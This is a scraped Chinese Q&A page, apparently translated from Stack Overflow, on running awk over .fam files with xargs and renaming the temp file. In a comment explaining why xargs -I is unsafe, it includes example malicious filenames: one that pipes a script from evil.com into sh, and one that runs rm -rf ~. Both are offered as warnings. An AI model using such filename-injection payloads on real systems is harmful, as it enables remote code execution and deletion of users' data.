如何引用 xargs 中保存的对象/字符串的基本名称

Posted

技术标签:

【中文标题】如何引用 xargs 中保存的对象/字符串的基本名称【英文标题】:How can I refer to the basename of the object/string being held in xargs 如何引用 xargs 中保存的对象/字符串的基本名称 【发布时间】:2021-11-28 19:40:33 【问题描述】:

我正在使用 xargs 来更改文件。我希望该命令将创建的 tmp 文件重命名回原始输入文件名。如何访问 xargs 的 中保存的字符串?

xargs - I  COMMAND HERE  > tmp && mv tmp 

我正在尝试调整命令:

awk 'gsub("1","0",$6)1' file.fam | awk 'gsub("2","1",$6)1'> tmp && mv tmp file.fam

要对文件夹中所有扩展名为 .fam 的文件执行操作:

ls | grep ".fam" | xargs -I  awk 'gsub("1","0",$6)1'  | awk 'gsub("2","1",$6)1'> tmp && mv temp 

【问题讨论】:

显示你的实际命令——细节很重要。也就是说,总的来说,-I 完全是个坏主意,最好避免。如果您编写命令以从 xargs 获取位置参数,则不需要它,并且这样的安全风险要少得多。 解释一下我所说的“安全暴露”——例如,如果你运行find /tmp -name '*.deleteme' | xargs -I sh -c 'rm ',那么创建一个名为/tmp/$(curl http://evil.com/rootme.sh | sh).deleteme 的文件的人会让你有一个非常非常糟糕的一天。是的,这是一个完全有效的文件名。在 周围添加引号也不能解决问题;想想/tmp/$(rm -rf ~)'$(rm -rf ~)'.deleteme——它适用于任何类型的 shell 引用上下文(单引号、双引号、未引用、类似 C 的字符串引用)。 ,使用xargs -I暗示-n 1;所以它不仅不安全,而且速度更慢,因为它需要为每个输入启动一个全新的子进程。 我已经添加了我的原始命令以及我尝试的命令@CharlesDuffy。我不确定什么是职位协议……对不起>_ (另见ParsingLs) 【参考方案1】:

如果可以避免的话,根本不要使用xargs -I

假设面向行的输入和 GNU xargs:

updateFile() 
  awk 'gsub("1","0",$6)1' <"$1" \
  | awk 'gsub("2","1",$6)1' >"$1.tmp.$$" \
  && mv -- "$1.tmp.$$" "$1"


find . -name '*.fam' -print \
  | xargs -d $'\n' bash -c "$(declare -f updateFile); "'
      for arg; do updateFile "$arg"; done
    ' _

另请参阅BashPitfalls #56,了解在没有-0 的情况下使用xargs 是如何不安全的。 (-d $'\n' 不如 -0 安全,但如果你不能重写其他管道组件以使用 NUL 分隔符,那是第二好的事情)。


也就是说,对于您的实际用例,您根本不需要 xargs

for f in *.fam; do
  awk 'gsub("1","0",$6)1' <"$f" \
  | awk 'gsub("2","1",$6)1' >"$f.out" \
  && mv -- "$f.out" "$f"
done

【讨论】:

谢谢。我希望我的更新有所帮助,因为我确实有单引号并且不确定导出的功能是什么.. 对不起.... )" -type f ' 我也从不使用带空格的文件,这在我的实验室中是标准的,所以我认为编写不带 -0 的 xargs 很好。 @SkyScraper 仅仅因为您不打算使用空格并不意味着它们不会出现在您的系统中。我曾经遇到过的最严重的数据丢失事件是由将垃圾倾倒到用于文件名的缓冲区中的错误引起的;那个垃圾恰好包括一个被空格包围的*,当一个错误的脚本试图删除垃圾文件时,它也删除了几个 TB 的计费数据备份。那是几位同事在数十年的职业生涯中第一次看到这种事件,但它太贵了,你甚至一次都不想。 @SkyScraper,顺便说一句,考虑find "$PWD" -type f——这比$(pwd)快一点。 @SkyScraper,查看显示如何处理单引号的编辑。 (我决定不使用导出函数,而是使用 declare -f 将函数声明发送到子进程 shell 运行的代码中)。

以上是关于如何引用 xargs 中保存的对象/字符串的基本名称的主要内容,如果未能解决你的问题,请参考以下文章

控制语句

JVM栈和堆的详解

理解java值传递与引用传递

如何从 CKReference 对象中获取引用字符串

Java——值传递与引用传递

浅谈JAVA中字符串常量的储存位置